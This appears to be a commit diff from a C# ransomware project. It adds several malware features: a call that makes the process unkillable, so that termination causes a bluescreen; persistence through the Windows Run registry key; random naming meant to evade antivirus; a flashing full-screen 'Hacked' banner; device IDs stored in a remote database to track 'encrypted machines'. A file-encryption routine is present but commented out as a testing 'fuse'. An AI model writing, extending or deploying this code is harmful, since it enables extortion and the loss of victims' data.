@@ -24,6 +24,25 @@ public Form1()
2424 InitializeComponent ( ) ;
2525 }
2626
27+ bool debug = Properties . Settings . Default . debug ;
28+ public static class Make
29+ {
30+ [ DllImport ( "ntdll.dll" , SetLastError = true ) ]
31+ private static extern void RtlSetProcessIsCritical ( UInt32 v1 , UInt32 v2 , UInt32 v3 ) ;
32+
33+ public static void ProcessUnkillable ( )
34+ {
35+ Process . EnterDebugMode ( ) ;
36+ RtlSetProcessIsCritical ( 1 , 0 , 0 ) ;
37+ }
38+
39+ public static void ProcessKillable ( )
40+ {
41+ RtlSetProcessIsCritical ( 0 , 0 , 0 ) ;
42+ }
43+ }
44+
45+
2746 public void Log ( string text , string title )
2847 {
2948 try
@@ -36,24 +55,95 @@ public void Log(string text, string title)
3655 } catch { }
3756 }
3857
58+ private void RegisterStartup ( bool isChecked )
59+ {
60+ try
61+ {
62+ RegistryKey registryKey = Registry . CurrentUser . OpenSubKey
63+ ( "SOFTWARE\\ Microsoft\\ Windows\\ CurrentVersion\\ Run" , true ) ;
64+ if ( isChecked )
65+ {
66+ registryKey . SetValue ( Properties . Settings . Default . application_name , Application . ExecutablePath ) ;
67+ }
68+ else
69+ {
70+ registryKey . DeleteValue ( Properties . Settings . Default . application_name ) ;
71+ }
72+ }
73+ catch ( Exception ex )
74+ {
75+ Log ( ex . Message , "RegisterStartUp" ) ;
76+ }
77+ }
3978
40- private void Form1_Load ( object sender , EventArgs e )
41- {
79+ private void setup ( )
80+ {
4281 // Check if Encryption/Decryption Key was ever created on that machine
43- if ( Properties . Settings . Default . key . Length != 34 )
82+ if ( Properties . Settings . Default . key . Length != 34 )
4483 {
4584 Properties . Settings . Default . key = Crypto . GetRandomString ( 34 ) ;
4685 Properties . Settings . Default . Save ( ) ;
4786 Properties . Settings . Default . Reload ( ) ;
4887
49- write ( "Generated key: " + Properties . Settings . Default . key ) ;
88+ if ( debug == true )
89+ {
90+ write ( "Generated key: " + Properties . Settings . Default . key ) ;
91+ }
92+
93+ }
94+ else
95+ {
96+ if ( debug == true )
97+ {
98+ write ( "Key is: " + Properties . Settings . Default . key ) ;
99+ }
100+ }
101+
102+
103+ // Check if Application name is already set. If not, generate one
104+ // This should be random to try to be undetected from Anti-Virus
105+ if ( Properties . Settings . Default . application_name . Length != 12 )
106+ {
107+ Properties . Settings . Default . application_name = Crypto . GetRandomString ( 12 ) ;
108+ Properties . Settings . Default . Save ( ) ;
109+ Properties . Settings . Default . Reload ( ) ;
110+
111+ if ( debug == true )
112+ {
113+ if ( debug == true )
114+ {
115+ write ( "Generated Application Name: " + Properties . Settings . Default . application_name ) ;
116+ }
117+
118+ Log ( "Generated Application Name: " + Properties . Settings . Default . application_name , "Form1_Load > Generate Application Name" ) ;
119+ }
120+
121+ }
122+ else
123+ {
124+ if ( debug == true )
125+ {
126+ write ( "Key is: " + Properties . Settings . Default . key ) ;
127+ }
128+ }
129+
50130
131+ // Make the process unkillable. It process is terminated,
132+ // A bluescreen will appear.
133+ if ( Properties . Settings . Default . unkillable == true )
134+ {
135+ Make . ProcessUnkillable ( ) ;
136+ }
137+ else if ( Properties . Settings . Default . unkillable == false )
138+ {
139+ Make . ProcessKillable ( ) ;
51140 }
52141 else
53142 {
54- write ( "Key is: " + Properties . Settings . Default . key ) ;
143+ Log ( "Unable to detect setting for making application unkillable" , "Form1_Load > Unkillable" ) ;
55144 }
56145
146+
57147 // If disable_taskmgr is true, disable task manager. else, enable.
58148 if ( Properties . Settings . Default . disable_taskmgr == true )
59149 {
@@ -79,6 +169,61 @@ private void Form1_Load(object sender, EventArgs e)
79169 }
80170
81171
172+ // Check what kind of theme is selected. You can find more information about this in Github Wiki
173+ if ( Properties . Settings . Default . theme == "default" )
174+ {
175+ panel_theme_flash . Visible = false ;
176+ panel_theme_flash . Enabled = false ;
177+ }
178+ else if ( Properties . Settings . Default . theme == "flash" )
179+ {
180+ // Set Window to be Fullscreen and overlap
181+ this . WindowState = FormWindowState . Maximized ;
182+ this . FormBorderStyle = FormBorderStyle . None ;
183+
184+ // Enable the Panel Control and make it fill the Screen
185+ panel_theme_flash . Visible = true ;
186+ panel_theme_flash . Enabled = true ;
187+ panel_theme_flash . Dock = DockStyle . Fill ;
188+
189+ // Position the Label and set its Text
190+ label_theme_flash . Text = "Hacked" ;
191+ label_theme_flash . Font = new Font ( label_theme_flash . Font . FontFamily , this . Height / 16 , label_theme_flash . Font . Style ) ;
192+ label_theme_flash . Location = new Point ( ( panel_theme_flash . Width / 2 ) - ( label_theme_flash . Width / 2 ) , ( panel_theme_flash . Height / 2 ) - ( label_theme_flash . Height / 2 ) ) ;
193+
194+ // Setting up the Timer and the method
195+ timer_theme_lash . Enabled = true ;
196+ timer_theme_lash . Interval = 1000 ;
197+ timer_theme_lash . Tick += new EventHandler ( timer_theme_flash_tick ) ;
198+ }
199+ }
200+
201+ private void timer_theme_flash_tick ( object sender , EventArgs e )
202+ {
203+ // Switches the Color of the Panel and Label
204+
205+ Color backcolor = Color . Red ;
206+ Color forecolor = Color . Black ;
207+
208+ if ( panel_theme_flash . BackColor == backcolor )
209+ {
210+ panel_theme_flash . BackColor = forecolor ;
211+ label_theme_flash . ForeColor = backcolor ;
212+ }
213+ else
214+ {
215+ panel_theme_flash . BackColor = backcolor ;
216+ label_theme_flash . ForeColor = forecolor ;
217+ }
218+ }
219+
220+ private void Form1_Load ( object sender , EventArgs e )
221+ {
222+ // Check if generated Strings are set like Application Name, Encryption Key, etc...
223+ setup ( ) ;
224+ RegisterStartup ( true ) ;
225+
226+
82227 // Simple "Styling"
83228 this . ShowInTaskbar = false ;
84229 this . Text = "" ;
@@ -92,11 +237,12 @@ private void Form1_Load(object sender, EventArgs e)
92237 label1 . Text = Properties . Settings . Default . application_title ;
93238
94239 // Center Visuals
95- panel_main . Location = new Point ( this . Width / 2 - panel_main . Width / 2 , this . Height / 2 - panel_main . Height / 2 ) ;
96240 label1 . Location = new Point ( panel_main . Width / 2 - label1 . Width / 2 , label1 . Location . Y ) ;
241+ panel_main . Location = new Point ( this . Width / 2 - panel_main . Width / 2 , this . Height / 2 - panel_main . Height / 2 ) ;
97242
98243 string deviceId = "" ;
99244
245+
100246 try
101247 {
102248 // Generate Devive ID for Database to identify encrypted machines
@@ -109,9 +255,11 @@ private void Form1_Load(object sender, EventArgs e)
109255 }
110256 catch ( Exception DeviceIdError )
111257 {
112- Log ( DeviceIdError . Message , "Form1_Load > DevideId " ) ;
258+ Log ( DeviceIdError . Message , "Form1_Load > DeviceId " ) ;
113259 }
114260
261+
262+ // Connection String for MySQL Connection, if enabled.
115263 string myConnectionString = "SERVER=" + Properties . Settings . Default . db_host + ";" +
116264 "DATABASE=" + Properties . Settings . Default . db_database + ";" +
117265 "UID=" + Properties . Settings . Default . db_user + ";" +
@@ -222,7 +370,9 @@ private void ShowAllFoldersUnder(string path, int indent)
222370
223371 if ( validExtensions . Contains ( ext . ToLower ( ) ) )
224372 {
225- //Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
373+ // This now acts like a fuse so you dont accidentaly encrypt your own hard drive while testing.
374+ // Srly... use a VM
375+ // Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
226376
227377 try
228378 {
0 commit comments